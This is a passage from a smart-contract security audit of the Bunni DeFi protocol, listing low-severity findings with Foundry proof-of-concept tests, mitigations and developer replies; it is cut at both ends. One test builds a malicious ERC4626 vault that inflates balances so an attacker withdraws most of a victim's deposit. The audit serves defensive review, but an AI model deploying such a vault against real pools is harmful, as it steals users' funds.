--              tickUpper = int24(FixedPointMathLib.min(tickLower + tickLength, maxUsableTick));
++              tickUpper = int24(FixedPointMathLib.min(minUsableTick + length * tickSpacing,
↪   maxUsableTick));
            } else if (tickUpper > maxUsableTick) {
--              int24 tickLength = tickUpper - tickLower;
--              tickUpper = maxUsableTick;
--              tickLower = int24(FixedPointMathLib.max(tickUpper - tickLength, minUsableTick));
++              tickLower = int24(FixedPointMathLib.max(maxUsableTick - length * tickSpacing,
↪   minUsableTick));
            }
        } else {
            ...
        }
    }
```

Bacon Labs: Fixed in PR #113.

Cyfrin: Verified, the `LibUniformDistribution::decodeParams` logic has been simplified.

7.5.12 Potential for blockchain explorer griefing due to successful zero value transfers from non-approved callers

Description: When `ERC20Referrer::transferFrom` is invoked from an address that has no approval given by the `from` address, execution reverts:

```
// Compute the allowance slot and load its value.
mstore(0x20, msgSender)
mstore(0x0c, _ALLOWANCE_SLOT_SEED)
mstore(0x00, from)
let allowanceSlot := keccak256(0x0c, 0x34)
let allowance_ := sload(allowanceSlot)
// If the allowance is not the maximum uint256 value.
```

```
if add(allowance_, 1) {
    // Revert if the amount to be transferred exceeds the allowance.
    if gt(amount, allowance_) {
        mstore(0x00, 0x13be252b) // `InsufficientAllowance()`.
        revert(0x1c, 0x04)
    }
    // Subtract and store the updated allowance.
    sstore(allowanceSlot, sub(allowance_, amount))
}
```

However, if both the allowance and amount to transfer are zero then execution continues uninterrupted. Instead, additional validation should be added to revert on zero value transfers to prevent non-approved callers from trigger events and making benign but otherwise unintended storage slot accesses.

Impact: Fraudulent event emission could be leveraged for blockchain explorer griefing attacks.

Proof of Concept: The following test should be added to `ERC20Referrer.t.sol`:

```
function test_transferFromPoC() external {
    uint256 amount = 1e18;
    token.mint(bob, amount, address(0));

    vm.prank(bob);
    token.approve(address(this), amount);

    // zero transfer from bob to alice doesn't revert
    vm.prank(alice);
    token.transferFrom(bob, alice, 0);
}
```

Recommended Mitigation: Revert on zero value transfers, especially if the caller has zero allowance.

Bacon Labs: Acknowledged, we're fine with the existing implementation. I think the existing implementation actually matches the EIP-20 standard definition more closely, which says "Transfers of 0 values MUST be treated as normal transfers and fire the `Transfer` event.". This is also the behavior in popular ERC-20 implementations such as OpenZeppelin.

Cyfrin: Acknowledged.

7.5.13 `GeometricDistribution` LDF length validation prevents the full range of usable ticks from being used

Description: In `LibGeometricDistribution:isValidParams`, the `length` variable represents the number of `tickSpacings` between `minTickOrOffset` and `maxTick`. The current validation reverts when this `length` exceeds half the maximum usable range, even though this `length` can be contained between `minUsableTick` and `maxUsableTick`:

```
    function isValidParams(int24 tickSpacing, uint24 twapSecondsAgo, bytes32 ldfParams) internal pure
    ↪ returns (bool) {
        (int24 minUsableTick, int24 maxUsableTick) =
            (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));

        // | shiftMode - 1 byte | minTickOrOffset - 3 bytes | length - 2 bytes | alpha - 4 bytes |
        uint8 shiftMode = uint8(bytes1(ldfParams));
        int24 minTickOrOffset = int24(uint24(bytes3(ldfParams << 8)));
        int24 length = int24(int16(uint16(bytes2(ldfParams << 32))));
        uint256 alpha = uint32(bytes4(ldfParams << 48));

        // ensure shiftMode is within the valid range
        if (shiftMode > uint8(type(ShiftMode).max)) {
            return false;
        }
        // ensure twapSecondsAgo is non-zero if shiftMode is not static
        if (shiftMode != uint8(ShiftMode.STATIC) && twapSecondsAgo == 0) {
            return false;
        }

        // ensure minTickOrOffset is aligned to tickSpacing
        if (minTickOrOffset % tickSpacing != 0) {
            return false;
        }

        // ensure length > 0 and doesn't overflow when multiplied by tickSpacing
@>      // ensure length can be contained between minUsableTick and maxUsableTick
        if (
            length <= 0 || int256(length) * int256(tickSpacing) > type(int24).max
@>              || length > maxUsableTick / tickSpacing || -length < minUsableTick / tickSpacing
        ) return false;
```

The `length > maxUsableTick / tickSpacing` validation intends to prevent the range exceeding the distance from 0 up to the right-most usable tick. Similarly, the `-length < minUsableTick / tickSpacing` validation intends to prevent the range exceeding the distance from 0 down to the left-most usable tick. The second case is equivalent to `length > -minUsableTick / tickSpacing`, which means that both right-hand sides of the validation have the same absolute value; therefore, together they enforce that the length of the range is no larger than the half-range with `length  |maxUsableTick| / tickSpacing`.

Similar logic is also present in `LibDoubleGeometricDistribution::isValidParams`. As such, it is not possible to deploy pools configured with either of these LDFs that wish to use the full range of ticks between `minUsableTick` and `maxUsableTick`. It is understood that this behavior is intentional and is likely related to the minimum liquidity density requirement, which would fail anyway given a large length for most reasonable tick spacings, in which case no mitigation is necessary.

Bacon Labs: Acknowledged, we're fine with the length limitations since the limits are unlikely to be reached in practice due to minimum liquidity requirements.

Cyfrin: Acknowledged.

7.5.14 Insufficient slippage protection in `BunniHub::deposit`

Description: `BunniHub::deposit` current implements slippage protection by allowing the caller to provide a minimum amount of each token to be used:

```
function deposit(HubStorage storage s, Env calldata env, IBunniHub.DepositParams calldata params)
    external
    returns (uint256 shares, uint256 amount0, uint256 amount1)
{
    ...
    // check slippage
    if (amount0 < params.amount0Min || amount1 < params.amount1Min) {
        revert BunniHub__SlippageTooHigh();
    }
    ...
}
```

This check ensures that there is not a significant change in the ratio of tokens from what the depositor expected; however, there is no check to ensure that the depositor receives an expected amount of shares for the given amounts of tokens. This validation is omitted from Uniswap because it is not possible to manipulate the total token amounts, but since Bunni can make use of external vaults for rehypothecation, it is possible for the balance of both tokens to change significantly from what the depositor expected. So long as the token ratio remains constant, value can be stolen from subsequent depositors if token balances are manipulated via the amounts deposited to vaults.

Impact: While users may receive fewer shares than expected, this is informational as it relies on a malicious vault implementation and as such users will not knowingly interact with a pool configured in this way.

Proof of Concept: Place this `MaliciousERC4626SlippageVault` inside `test/mocks/ERC4626Mock.sol` to simulate this malicious change in token balances:

```
contract MaliciousERC4626SlippageVault is ERC4626 {
    address internal immutable _asset;
    uint256 internal multiplier = 1;

    constructor(IERC20 asset_) {
        _asset = address(asset_);
    }

    function setMultiplier(uint256 newMultiplier) public {
        multiplier = newMultiplier;
    }

    function previewRedeem(uint256 shares) public view override returns(uint256 assets){
        return super.previewRedeem(shares) * multiplier;
    }

    function deposit(uint256 assets, address to) public override returns(uint256 shares){
        multiplier = 1;
        return super.deposit(assets, to);
    }

    function asset() public view override returns (address) {
        return _asset;
    }

    function name() public pure override returns (string memory) {
        return "MockERC4626";
    }

    function symbol() public pure override returns (string memory) {
        return "MOCK-ERC4626";
    }
}
```

The following test should be placed in `BunniHub.t.sol`:

```
function test_SlippageAttack() public {
    ILiquidityDensityFunction uniformDistribution = new UniformDistribution(address(hub),
    ↪  address(bunniHook), address(quoter));
    Currency currency0 = Currency.wrap(address(token0));
    Currency currency1 = Currency.wrap(address(token1));
    MaliciousERC4626SlippageVault maliciousVaultToken0 = new MaliciousERC4626SlippageVault(token0);
    MaliciousERC4626SlippageVault maliciousVaultToken1 = new MaliciousERC4626SlippageVault(token1);
    ERC4626 vault0_ = ERC4626(address(maliciousVaultToken0));
    ERC4626 vault1_ = ERC4626(address(maliciousVaultToken1));
    IBunniToken bunniToken;
    PoolKey memory key;
    (bunniToken, key) = hub.deployBunniToken(
        IBunniHub.DeployBunniTokenParams({
            currency0: currency0,
            currency1: currency1,
            tickSpacing: TICK_SPACING,
            twapSecondsAgo: TWAP_SECONDS_AGO,
            liquidityDensityFunction: uniformDistribution,
            hooklet: IHooklet(address(0)),
            ldfType: LDFType.DYNAMIC_AND_STATEFUL,
            ldfParams: bytes32(abi.encodePacked(ShiftMode.STATIC, int24(-5) * TICK_SPACING, int24(5) *
             ↪  TICK_SPACING)),
            hooks: bunniHook,
            hookParams: abi.encodePacked(
                FEE_MIN,
                FEE_MAX,
                FEE_QUADRATIC_MULTIPLIER,
                FEE_TWAP_SECONDS_AGO,
                POOL_MAX_AMAMM_FEE,
                SURGE_HALFLIFE,
                SURGE_AUTOSTART_TIME,
                VAULT_SURGE_THRESHOLD_0,
                VAULT_SURGE_THRESHOLD_1,
                REBALANCE_THRESHOLD,
                REBALANCE_MAX_SLIPPAGE,
                REBALANCE_TWAP_SECONDS_AGO,
                REBALANCE_ORDER_TTL,
                true, // amAmmEnabled
                ORACLE_MIN_INTERVAL,
                MIN_RENT_MULTIPLIER
            ),
            vault0: vault0_,
            vault1: vault1_,
            minRawTokenRatio0: 0.08e6,
            targetRawTokenRatio0: 0.1e6,
            maxRawTokenRatio0: 0.12e6,
            minRawTokenRatio1: 0.08e6,
            targetRawTokenRatio1: 0.1e6,
            maxRawTokenRatio1: 0.12e6,
            sqrtPriceX96: TickMath.getSqrtPriceAtTick(0),
            name: bytes32("BunniToken"),
            symbol: bytes32("BUNNI-LP"),
            owner: address(this),
            metadataURI: "metadataURI",
            salt: bytes32(0)
        })
    );

    // make initial deposit to avoid accounting for MIN_INITIAL_SHARES
    uint256 depositAmount0 = 1e18;
    uint256 depositAmount1 = 1e18;
    address firstDepositor = makeAddr("firstDepositor");
    vm.startPrank(firstDepositor);
    token0.approve(address(PERMIT2), type(uint256).max);
    token1.approve(address(PERMIT2), type(uint256).max);
    PERMIT2.approve(address(token0), address(hub), type(uint160).max, type(uint48).max);
    PERMIT2.approve(address(token1), address(hub), type(uint160).max, type(uint48).max);
    vm.stopPrank();

    // mint tokens
    _mint(key.currency0, firstDepositor, depositAmount0 * 100);
    _mint(key.currency1, firstDepositor, depositAmount1 * 100);

    // deposit tokens
    IBunniHub.DepositParams memory depositParams = IBunniHub.DepositParams({
        poolKey: key,
        amount0Desired: depositAmount0,
        amount1Desired: depositAmount1,
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        recipient: firstDepositor,
        refundRecipient: firstDepositor,
        vaultFee0: 0,
        vaultFee1: 0,
        referrer: address(0)
    });

    vm.startPrank(firstDepositor);
    (uint256 sharesFirstDepositor, uint256 firstDepositorAmount0In, uint256 firstDepositorAmount1In) =
    ↪  hub.deposit(depositParams);
    console.log("Amount 0 deposited by first depositor", firstDepositorAmount0In);
    console.log("Amount 1 deposited by first depositor", firstDepositorAmount1In);
    maliciousVaultToken0.setMultiplier(1e10);
    maliciousVaultToken1.setMultiplier(1e10);
    vm.stopPrank();


    depositAmount0 = 100e18;
    depositAmount1 = 100e18;
    address victim = makeAddr("victim");
    vm.startPrank(victim);
    token0.approve(address(PERMIT2), type(uint256).max);
    token1.approve(address(PERMIT2), type(uint256).max);
    PERMIT2.approve(address(token0), address(hub), type(uint160).max, type(uint48).max);
    PERMIT2.approve(address(token1), address(hub), type(uint160).max, type(uint48).max);
    vm.stopPrank();

    // mint tokens
    _mint(key.currency0, victim, depositAmount0);
    _mint(key.currency1, victim, depositAmount1);

    // deposit tokens
    depositParams = IBunniHub.DepositParams({
        poolKey: key,
        amount0Desired: depositAmount0,
        amount1Desired: depositAmount1,
        amount0Min: depositAmount0 * 99 / 100,        // victim uses a slippage protection of 99%
        amount1Min: depositAmount0 * 99 / 100,        // victim uses a slippage protection of 99%
        deadline: block.timestamp,
        recipient: victim,
        refundRecipient: victim,
        vaultFee0: 0,
        vaultFee1: 0,
        referrer: address(0)
    });

    vm.prank(victim);
    (uint256 sharesVictim, uint256 victimAmount0In, uint256 victimAmount1In) =
    ↪  hub.deposit(depositParams);
    console.log("Amount 0 deposited by victim", victimAmount0In);
    console.log("Amount 1 deposited by victim", victimAmount1In);

    IBunniHub.WithdrawParams memory withdrawParams = IBunniHub.WithdrawParams({
        poolKey: key,
        recipient: firstDepositor,
        shares: sharesFirstDepositor,
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        useQueuedWithdrawal: false
    });
    vm.prank(firstDepositor);
    (uint256 withdrawAmount0FirstDepositor, uint256 withdrawAmount1FirstDepositor) =
    ↪  hub.withdraw(withdrawParams);
    console.log("Amount 0 withdrawn by first depositor", withdrawAmount0FirstDepositor);
    console.log("Amount 1 withdrawn by first depositor", withdrawAmount1FirstDepositor);

    withdrawParams = IBunniHub.WithdrawParams({
        poolKey: key,
        recipient: victim,
        shares: sharesVictim,
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        useQueuedWithdrawal: false
    });
    vm.prank(victim);
    (uint256 withdrawAmount0Victim, uint256 withdrawAmount1Victim) = hub.withdraw(withdrawParams);
    console.log("Amount 0 withdrawn by victim", withdrawAmount0Victim);
    console.log("Amount 1 withdrawn by victim", withdrawAmount1Victim);
}
```

In this PoC, a `UniformDistribution` has been used to set the token ratio 1:1 to enable the token amounts to be seen more clearly. It can be observed that immediately before the victim deposits, the first depositor sets up a significant increase in the vault reserves such that the `BunniHub` believes it has many more reserves from both tokens. The `BunniHub` computes the amount of shares to mint for the victim considering these huge token balances. The result is that the victim receives a very small amount of shares. Afterwards, the attacker will be able to withdraw almost all the amounts deposited by the victim due to having far more shares.

Output:

```
Ran 1 test for test/BunniHub.t.sol:BunniHubTest
[PASS] test_SlippageAttack() (gas: 5990352)
Logs:
  Amount 0 deposited by first depositor     999999999999999999
  Amount 1 deposited by first depositor     999999999999999999
  Amount 0 deposited by victim            100000000000000000000
  Amount 1 deposited by victim            100000000000000000000
  Amount 0 withdrawn by first depositor   100999897877778912580
  Amount 1 withdrawn by first depositor   100999897877778912580
  Amount 0 withdrawn by victim                    1122222209640
  Amount 1 withdrawn by victim                    1122222209640

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 885.72ms (5.18ms CPU time)
```

Recommended Mitigation: Allow the depositor to provide a minimum amount of shares to mint when executing the deposit. As shown in the PoC, since the token ratio did not change, the slippage protection was not effective.

```
    struct DepositParams {
        PoolKey poolKey;
        address recipient;
        address refundRecipient;
        uint256 amount0Desired;
        uint256 amount1Desired;
        uint256 amount0Min;
        uint256 amount1Min;
++      uint256 sharesMin;
        uint256 vaultFee0;
        uint256 vaultFee1;
        uint256 deadline;
        address referrer;
    }
    function deposit(HubStorage storage s, Env calldata env, IBunniHub.DepositParams calldata params)
        external
        returns (uint256 shares, uint256 amount0, uint256 amount1)
    {
        ...

--      // check slippage
--      if (amount0 < params.amount0Min || amount1 < params.amount1Min) {
--          revert BunniHub__SlippageTooHigh();
--      }

        // mint shares using actual token amounts
        shares = _mintShares(
            msgSender,
            state.bunniToken,
            params.recipient,
            amount0,
            depositReturnData.balance0,
            amount1,
            depositReturnData.balance1,
            params.referrer
        );

++      // check slippage
++      if (amount0 < params.amount0Min || amount1 < params.amount1Min || shares < params.sharesMin) {
++          revert BunniHub__SlippageTooHigh();
++      }
        ...
    }
```

Bacon Labs: Acknowledged, we won't make any changes since as the report suggests the user needs to knowingly deposit into a pool with a malicious vault which is out-of-scope.

Cyfrin: Acknowledged.

7.5.15 Hooklet validation is recommended upon deploying new Bunni tokens

Description: Uniswap V4 performs some validation on the hook address to ensure that a valid contract has been provided:

```
function initialize(PoolKey memory key, uint160 sqrtPriceX96) external noDelegateCall returns (int24
↪  tick) {
    ...
    if (!key.hooks.isValidHookAddress(key.fee))
    ↪  Hooks.HookAddressNotValid.selector.revertWith(address(key.hooks));
    ...
}

function isValidHookAddress(IHooks self, uint24 fee) internal pure returns (bool) {
    // The hook can only have a flag to return a hook delta on an action if it also has the
    ↪  corresponding action flag
    if (!self.hasPermission(BEFORE_SWAP_FLAG) && self.hasPermission(BEFORE_SWAP_RETURNS_DELTA_FLAG))
    ↪  return false;
    if (!self.hasPermission(AFTER_SWAP_FLAG) && self.hasPermission(AFTER_SWAP_RETURNS_DELTA_FLAG))
    ↪  return false;
    if (!self.hasPermission(AFTER_ADD_LIQUIDITY_FLAG) &&
    ↪  self.hasPermission(AFTER_ADD_LIQUIDITY_RETURNS_DELTA_FLAG))
    {
        return false;
    }
    if (
        !self.hasPermission(AFTER_REMOVE_LIQUIDITY_FLAG)
            && self.hasPermission(AFTER_REMOVE_LIQUIDITY_RETURNS_DELTA_FLAG)
    ) return false;

    // If there is no hook contract set, then fee cannot be dynamic
    // If a hook contract is set, it must have at least 1 flag set, or have a dynamic fee
    return address(self) == address(0)
        ? !fee.isDynamicFee()
        : (uint160(address(self)) & ALL_HOOK_MASK > 0 || fee.isDynamicFee());
}
```

Regarding the hooklet, it would be best practice to also validate the permissions for the `BEFORE_SWAP_FLAG`.

Recommended Mitigation:

```
function deployBunniToken(HubStorage storage s, Env calldata env, IBunniHub.DeployBunniTokenParams
↪   calldata params)
    external
    returns (IBunniToken token, PoolKey memory key)
{
    ...
    if (!params.hooklet.isValidHookletAddress()) revert();
    ...
}

function isValidHookletAddress(IHooklet self) internal pure returns (bool isValid) {
    isValid = true;

    // The hooklet can only have a flag to override the fee and price if it also has the corresponding
    ↪   action flag
    if (!self.hasPermission(BEFORE_SWAP_FLAG) && (self.hasPermission(BEFORE_SWAP_OVERRIDE_FEE_FLAG) ||
    ↪   self.hasPermission(BEFORE_SWAP_OVERRIDE_PRICE_FLAG))) return false;
}
```

Bacon Labs: Acknowledged, we'll keep it as is because nonsensical flag combinations (such as not setting `BEFORE_SWAP_FLAG` but setting `BEFORE_SWAP_OVERRIDE_FEE_FLAG`) don't result in undefined behavior.

Cyfrin: Acknowledged.

7.5.16 `BuyTheDipGeometricDistribution` parameter encoding documentation is inconsistent

Description: The `BuyTheDipGeometricDistribution` parameter encoding documentation specified an unused byte between alpha values; however, this is inconsistent with the actual implementation of `LibBuyTheDipGeometricDistribution::decodeParams` and should be corrected:

```
function decodeParams(bytes32 ldfParams)
    internal
    pure
    returns (
        int24 minTick,
        int24 length,
        uint256 alphaX96,
        uint256 altAlphaX96,
        int24 altThreshold,
        bool altThresholdDirection
    )
{
    // static minTick set in params
    // | shiftMode - 1 byte | minTick - 3 bytes | length - 2 bytes | alpha - 4 bytes | altAlpha - 4
    ↪   bytes | altThreshold - 3 bytes | altThresholdDirection - 1 byte |
    minTick = int24(uint24(bytes3(ldfParams << 8))); // must be aligned to tickSpacing
    length = int24(int16(uint16(bytes2(ldfParams << 32))));
    uint256 alpha = uint32(bytes4(ldfParams << 48));
    alphaX96 = alpha.mulDiv(Q96, ALPHA_BASE);
    uint256 altAlpha = uint32(bytes4(ldfParams << 80));
    altAlphaX96 = altAlpha.mulDiv(Q96, ALPHA_BASE);
    altThreshold = int24(uint24(bytes3(ldfParams << 112)));
    altThresholdDirection = uint8(bytes1(ldfParams << 136)) != 0;
}
```

Bacon Labs: Acknowledged, this has been fixed in the docs.

Cyfrin: Acknowledged.

7.5.17 Typographical error in `BunniHookLogic::beforeSwap` should be corrected

Description: While it does not cause any issues, there is a typographical error in the declaration of the `hookHandleSwapOutoutAmount` within `BunniHookLogic::beforeSwap`. This should instead be `hookHandleSwapOutputAmount` along with all subsequent usage.

Bacon Labs: Fixed in PR #125.

Cyfrin: Verified, the error has been corrected.

7.5.18 Unchecked queue withdrawal timestamp logic is implemented incorrectly

Description: Unchecked math is used within `BunniHubLogic::queueWithdraw` to wrap around if the sum of the block timestamp with `WITHDRAW_DELAY` exceeds the maximum `uint56`:

```
    // update queued withdrawal
    // use unchecked to get unlockTimestamp to overflow back to 0 if overflow occurs
    // which is fine since we only care about relative time
    uint56 newUnlockTimestamp;
    unchecked {
@>      newUnlockTimestamp = uint56(block.timestamp) + WITHDRAW_DELAY;
    }
    if (queued.shareAmount != 0) {
        // requeue expired queued withdrawal
@>      if (queued.unlockTimestamp + WITHDRAW_GRACE_PERIOD >= block.timestamp) {
            revert BunniHub__NoExpiredWithdrawal();
        }
        s.queuedWithdrawals[id][msgSender].unlockTimestamp = newUnlockTimestamp;
    } else {
        // create new queued withdrawal
        if (params.shares == 0) revert BunniHub__ZeroInput();
        s.queuedWithdrawals[id][msgSender] =
            QueuedWithdrawal({shareAmount: params.shares, unlockTimestamp: newUnlockTimestamp});
    }
```

This yields a `newUnlockTimestamp` that is modulo the max `uint56`; however, note the addition of `WITHDRAW_GRACE_PERIOD` to the unlock timestamp of an existing queued withdrawal that is also present in `BunniHubLogic::withdraw`:

```
    if (params.useQueuedWithdrawal) {
        // use queued withdrawal
        // need to withdraw the full queued amount
        QueuedWithdrawal memory queued = s.queuedWithdrawals[poolId][msgSender];
        if (queued.shareAmount == 0 || queued.unlockTimestamp == 0) revert
        ↪  BunniHub__QueuedWithdrawalNonexistent();
@>      if (block.timestamp < queued.unlockTimestamp) revert BunniHub__QueuedWithdrawalNotReady();
@>      if (queued.unlockTimestamp + WITHDRAW_GRACE_PERIOD < block.timestamp) revert
↪   BunniHub__GracePeriodExpired();
        shares = queued.shareAmount;
        s.queuedWithdrawals[poolId][msgSender].shareAmount = 0; // don't delete the struct to save gas
        ↪  later
        state.bunniToken.burn(address(this), shares); // BunniTokens were deposited to address(this)
        ↪  earlier with queueWithdraw()
    }
```

This logic is not implemented correctly and has a couple of implications in various scenarios:

- If the unlock timestamp for a given queued withdrawal with the `WITHDRAW_DELAY` does not overflow, but with the addition of the `WITHDRAW_GRACE_PERIOD` it does, then queued withdrawals will revert due to overflowing `uint56` outside of the unchecked block and it will not be possible to re-queue expired withdrawals for the same reasoning.
- If the unlock timestamp for a given queued withdrawal with the `WITHDRAW_DELAY` overflows and wraps around, it is possible to immediately re-queue an “expired” withdrawal, since by comparison the block timestamp in `uint256` will be a lot larger than the unlock timestamp the `WITHDRAW_GRACE_PERIOD` applied; however, it will not be possible to execute such a withdrawal (even without replacement) since the block timestamp will always be significantly larger after wrapping around.

Impact: While it is unlikely `block.timestamp` will reach close to overflowing a `uint56` within the lifetime of the Sun, the intended unchecked logic is implemented incorrectly and would prevent queued withdrawals from executing correctly. This could be especially problematic if the width of the data type were reduced assuming no issues are present.

Proof of Concept: The following tests can be run from within `test/BunniHub.t.sol`:

```
function test_queueWithdrawPoC1() public {
    uint256 depositAmount0 = 1 ether;
    uint256 depositAmount1 = 1 ether;
    (IBunniToken bunniToken, PoolKey memory key) = _deployPoolAndInitLiquidity();

    // make deposit
    (uint256 shares,,) = _makeDepositWithFee({
        key_: key,
        depositAmount0: depositAmount0,
        depositAmount1: depositAmount1,
        depositor: address(this),
        vaultFee0: 0,
        vaultFee1: 0,
        snapLabel: ""
    });

    // bid in am-AMM auction
    PoolId id = key.toId();
    bunniToken.approve(address(bunniHook), type(uint256).max);
    uint128 minRent = uint128(bunniToken.totalSupply() * MIN_RENT_MULTIPLIER / 1e18);
    uint128 rentDeposit = minRent * 2 days;
    bunniHook.bid(id, address(this), bytes6(abi.encodePacked(uint24(1e3), uint24(2e3))), minRent * 2,
    ↪  rentDeposit);
    shares -= rentDeposit;

    // wait until address(this) is the manager
    skipBlocks(K);
    assertEq(bunniHook.getTopBid(id).manager, address(this), "not manager yet");

    vm.warp(type(uint56).max - 1 minutes);

    // queue withdraw
    bunniToken.approve(address(hub), type(uint256).max);
    hub.queueWithdraw(IBunniHub.QueueWithdrawParams({poolKey: key, shares: shares.toUint200()}));
    assertEqDecimal(bunniToken.balanceOf(address(hub)), shares, DECIMALS, "didn't take shares");

    // wait 1 minute
    skip(1 minutes);
    // withdraw
    IBunniHub.WithdrawParams memory withdrawParams = IBunniHub.WithdrawParams({
        poolKey: key,
        recipient: address(this),
        shares: shares,
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        useQueuedWithdrawal: true
    });
    vm.expectRevert();
    hub.withdraw(withdrawParams);
}

function test_queueWithdrawPoC2() public {
    uint256 depositAmount0 = 1 ether;
    uint256 depositAmount1 = 1 ether;
    (IBunniToken bunniToken, PoolKey memory key) = _deployPoolAndInitLiquidity();

    // make deposit
    (uint256 shares,,) = _makeDepositWithFee({
        key_: key,
        depositAmount0: depositAmount0,
        depositAmount1: depositAmount1,
        depositor: address(this),
        vaultFee0: 0,
        vaultFee1: 0,
        snapLabel: ""
    });

    // bid in am-AMM auction
    PoolId id = key.toId();
    bunniToken.approve(address(bunniHook), type(uint256).max);
    uint128 minRent = uint128(bunniToken.totalSupply() * MIN_RENT_MULTIPLIER / 1e18);
    uint128 rentDeposit = minRent * 2 days;
    bunniHook.bid(id, address(this), bytes6(abi.encodePacked(uint24(1e3), uint24(2e3))), minRent * 2,
    ↪  rentDeposit);
    shares -= rentDeposit;

    // wait until address(this) is the manager
    skipBlocks(K);
    assertEq(bunniHook.getTopBid(id).manager, address(this), "not manager yet");

    vm.warp(type(uint56).max);

    // queue withdraw
    bunniToken.approve(address(hub), type(uint256).max);
    hub.queueWithdraw(IBunniHub.QueueWithdrawParams({poolKey: key, shares: shares.toUint200()}));
    assertEqDecimal(bunniToken.balanceOf(address(hub)), shares, DECIMALS, "didn't take shares");

    // wait 1 minute
    skip(1 minutes);

    // re-queue before expiry
    hub.queueWithdraw(IBunniHub.QueueWithdrawParams({poolKey: key, shares: shares.toUint200()}));

    // withdraw
    IBunniHub.WithdrawParams memory withdrawParams = IBunniHub.WithdrawParams({
        poolKey: key,
        recipient: address(this),
        shares: shares,
        amount0Min: 0,
        amount1Min: 0,
        deadline: block.timestamp,
        useQueuedWithdrawal: true
    });
    vm.expectRevert();
    hub.withdraw(withdrawParams);
}
```

Recommended Mitigation: Unsafely downcast all other usage of `block.timestamp` to `uint56` such that it is allowed to silently overflow when compared with unlock timestamps computed in the same way.

Bacon Labs: Fixed in PR #126.

Cyfrin: Verified, `uint56` overflows are now handled during queued withdrawal.

7.5.19 Inconsistent rounding directions should be clarified and standardized

Description: While there has been some effort made toward systematic rounding, there remain a number of instances where the handling and/or direction of rounding is inconsistent. The first example is within `LibCarpetedGeometricDistribution::liquidityDensityX96` which rounds the returned carpet liquidity up:

```
return carpetLiquidity.divUp(uint24(numRoundedTicksCarpeted));
```

Meanwhile, `LibCarpetedDoubleGeometricDistribution::liquidityDensityX96` rounds down:

```
return carpetLiquidity / uint24(numRoundedTicksCarpeted);
```

Additionally, a configuration was identified that allowed the addition of density contributions from all ricks to exceed `Q96`. Since it is only the current rick liquidity that is used in computations, this does not appear to be a problem as it will simply account a negligibly small amount of additional liquidity density.

Proof of Concept: The following test can be run from within `GeometricDistribution.t.sol`:

```
function test_liquidityDensity_sumUpToOneGeometricDistribution(int24 tickSpacing, int24 minTick, int24
↪   length, uint256 alpha)
    external
    virtual
{
    alpha = bound(alpha, MIN_ALPHA, MAX_ALPHA);
    vm.assume(alpha != 1e8); // 1e8 is a special case that causes overflow
    tickSpacing = int24(bound(tickSpacing, MIN_TICK_SPACING, MAX_TICK_SPACING));
    (int24 minUsableTick, int24 maxUsableTick) =
        (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing));
    minTick = roundTickSingle(int24(bound(minTick, minUsableTick, maxUsableTick - 2 * tickSpacing)),
    ↪   tickSpacing);
    length = int24(bound(length, 1, (maxUsableTick - minTick) / tickSpacing - 1));

    console2.log("alpha", alpha);
    console2.log("tickSpacing", tickSpacing);
    console2.log("minTick", minTick);
    console2.log("length", length);

    PoolKey memory key;
    key.tickSpacing = tickSpacing;
    bytes32 ldfParams = bytes32(abi.encodePacked(ShiftMode.STATIC, minTick, int16(length),
    ↪   uint32(alpha)));
    vm.assume(ldf.isValidParams(key, 0, ldfParams));


    uint256 cumulativeLiquidityDensity;
    (int24 minTick, int24 maxTick) =
        (TickMath.minUsableTick(tickSpacing), TickMath.maxUsableTick(tickSpacing) - tickSpacing);
    key.tickSpacing = tickSpacing;
    int24 spotPriceTick = 0;
    for (int24 tick = minTick; tick <= maxTick; tick += tickSpacing) {
        (uint256 liquidityDensityX96,,,,) = ldf.query(key, tick, 0, spotPriceTick, ldfParams,
        ↪  LDF_STATE);
        cumulativeLiquidityDensity += liquidityDensityX96;
    }

    console2.log("Cumulative liquidity density", cumulativeLiquidityDensity);
    console2.log("One", FixedPoint96.Q96);
    if(cumulativeLiquidityDensity > FixedPoint96.Q96) console2.log("Extra cumulative liquidity
    ↪  density", cumulativeLiquidityDensity - FixedPoint96.Q96);
    assertTrue(cumulativeLiquidityDensity <= FixedPoint96.Q96);
}
```

Recommended Mitigation: Further clarify opaque rounding decisions with inline comments and standardize any inconsistencies such as those noted above.

Bacon Labs: Fixed the LibCarpetedDoubleGeometricDistribution rounding issue in PR #127. Agreed that the total density slightly exceeding `Q96` is fine.

Cyfrin: Verified, carpet liquidity is now rounded up in `LibCarpetedDoubleGeometricDistribution::liquidityDensityX96`.

7.5.20 Just in time (JIT) liquidity can be used to inflate rebalance order amounts

Description: As reported in the Trail of Bits audit, the addition of JIT liquidity before a swap that would trigger a rebalance order can inflate the amount required fulfil the order beyond that which would typically be within the pool. With the modification to allow Bunni liquidity to be used during fulfilment of rebalance orders, this has implications for both the pool being rebalanced and liquidity from any other pools that are used in this process. Ultimately, this can in certain scenarios require the fulfiller to provide JIT liquidity of their own to carry out the rebalance, resulting in a less profitable fulfilment than expected and potentially DoS'ing withdrawals in other pools. The profitable addition of JIT liquidity by an attacker is however realistically quite unlikely, especially as it is not possible to perform any action after the rebalance order fulfilment during the same transaction since the transient re-entrancy guard will remain locked. Additionally, it is not possible to withdraw the liquidity before the rebalance order is either process or expired (in which case it is recalculated) unless the `withdrawalUnblocked` override is set. Even still, this may result in undesirable behavior such as leaving the pool originally intended to be rebalanced in an unbalanced state and so should be carefully considered before deploying to production.

Bacon Labs: Acknowledged. We agree that the issue is unlikely to occur in practice due to both the lack of a profit motive and the lack of a clear impact on the pool operations.

Cyfrin: Acknowledged.

7.6 Gas Optimization

7.6.1 Unnecessary `currency1` native token checks

Description: Uniswap currency pairs are sorted by address. If either of the two pool reserve tokens is a native token, specified as `address(0)`, it can only be the `currency0` as `currency1` will always have a greater address. As such, native token validation performed on `currency1` and related logic is not necessary.

Recommended Mitigation: The following instances can be removed:

- `BunniHub.sol`:

```
    function _depositUnlockCallback(DepositCallbackInputData memory data) internal returns (bytes
    ↪  memory) {
        (address msgSender, PoolKey memory key, uint256 msgValue, uint256 rawAmount0, uint256
        ↪  rawAmount1) =
